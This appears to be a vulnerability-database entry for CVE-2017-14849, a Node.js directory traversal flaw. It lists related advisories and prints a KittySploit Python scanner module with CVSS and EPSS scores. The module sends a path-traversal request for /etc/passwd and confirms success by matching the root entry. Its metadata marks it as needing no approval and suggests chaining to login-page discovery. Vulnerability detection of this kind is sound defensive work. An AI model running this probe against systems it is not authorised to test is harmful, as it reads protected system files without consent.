Node.js <8.6.0 - Directory Traversal Detection
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
| node -- access to unintended files | 27 Sep 201700:00 | – | freebsd | |
| Joyent Node.js Unauthorized Access Vulnerability | 28 Sep 201700:00 | – | cnvd | |
| CVE-2017-14849 | 28 Sep 201700:00 | – | cve | |
| CVE-2017-14849 | 28 Sep 201700:00 | – | cvelist | |
| CVE-2017-14849 | 28 Sep 201700:00 | – | debiancve | |
| Node.js 8.5.0 Path Traversal File Disclosure | 2 Jul 201800:00 | – | dsquare | |
| FreeBSD : node -- access to unintended files (1257718e-be97-458a-9744-d938b592db42) | 11 Oct 201700:00 | – | nessus | |
| Node.js 8.5.x < 8.6.0 Path Traversal | 11 Mar 202100:00 | – | nessus | |
| CVE-2017-14849 | 28 Sep 201700:00 | – | mend | |
| Path validation vulnerability, September 2017 | 29 Sep 201700:00 | – | nodejsblog |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Node."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Node.js <8.6.0 - Directory Traversal Detection',
'description': 'Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ".." handling is incompatible with the pathname validation used by unspecified community modules.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2017', 'nodejs', 'lfi', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://twitter.com/nodejs/status/913131152868876288',
'https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/',
'https://nvd.nist.gov/vuln/detail/CVE-2017-14849',
'https://github.com/ARPSyndicate/kenzer-templates',
'https://github.com/Elsfa7-110/kenzer-templates',
],
'cve': 'CVE-2017-14849',
}
def run(self):
r = self.http_request(method="GET", path='/static/../../../a/../../../../etc/passwd', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='high',
reason="Node.js <8.6.0 - Directory Traversal detected",
path='/static/../../../a/../../../../etc/passwd',
)
return True
return False
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28 Jul 2026 11:27Current
7.5High risk
Vulners AI Score7.5
CVSS 25
CVSS 37.5
EPSS0.54389